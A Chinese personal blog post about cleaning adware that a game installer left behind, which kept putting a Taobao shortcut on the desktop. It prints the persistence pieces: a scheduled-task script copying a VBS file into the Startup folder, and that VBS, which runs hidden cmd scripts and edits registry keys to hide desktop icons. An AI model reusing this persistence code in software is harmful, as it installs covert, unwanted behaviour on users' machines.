昨天晚上下载一个迪酷CS1.6的时候（从verycd上面下载的>.<）安装完毕桌面上出现了一个淘宝网的快捷方式（网址链接到http://www.go300.com/?A8），右键没有删除选项，我知道让恶意修改了，按照以前的经验，打开360安全卫士对系统进行修复，修复了一些，但是图标依然在桌面呆着。

然后接着下载360系统急救箱，扫描完毕后桌面图标不见了，以为就这么好了，谁知道刚才刷新了下桌面（重启电脑后），桌面又蹦出来一个没有图标的快捷方式，囧了！网址依然链接到的http://www.go300.com/?A8 ，我X，我不信还搞不定你这么个快捷方式，依然用360（我不是高手，所以我用360，高手别喷）修复，这次修复完毕后桌面图片暂时还没有处理，因为我知道处理完了依然会出来，所以。

打开360安全卫士的高级工具-开机启动项管理，把不认识的启动项去掉，然后就是计划任务里面，我发现我计划任务里面多了5个不认识的东西，右键选择-打开所在目录。发现指向的是一个“is.cmd”文件，内容如下：

copy “C:\Windows\Mail\UltraEdit\QQ.vbs” “%ALLUSERSPROFILE%\「开始」菜单\程序\启动\日志.vbs”

然后打开“QQ.vbs”查看内容，如下：

DIM  objShell
set  objShell=Wscript.createObject(“wscript.shell”)
objShell.CurrentDirectory = “C:\Program Files\WinWare\”
iReturn=objShell.Run(“cmd.exe /C           .\tool.cmd”, 0, TRUE)
iReturn=objShell.Run(“cmd.exe /C          .\fav\fav.cmd”, 0, TRUE)
iReturn=objShell.Run(“cmd /C    .\2.cmd”, 0, TRUE)
iReturn=objShell.Run(“cmd.exe /C           .\1.cmd”, 0, TRUE)

Dim WSHShell
Set WshShell = WScript.CreateObject(“WScript.Shell”)
Rem
RegPath=”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}”
RegPath1=”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}”
Type_Name=”REG_DWORD”
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
strDesktop = WSHShell.SpecialFolders(“Desktop”)
WSHShell.AppActivate strDesktop
WSHShell.SendKeys “{F5}”

没啥说的，肯定就是这个东西搞的鬼了，把几个计划任务全部删除，然后搜索到相关的文件，如：tool.cmd、fav.cmd、2.cmd、1.cmd，删除，然后360系统急救箱扫描下，关机重启看结果。

本文固定链接: http://vv15.com/2010/05/can-not-delete-desktop-icons/ | 囧啊囧(Vv15.com)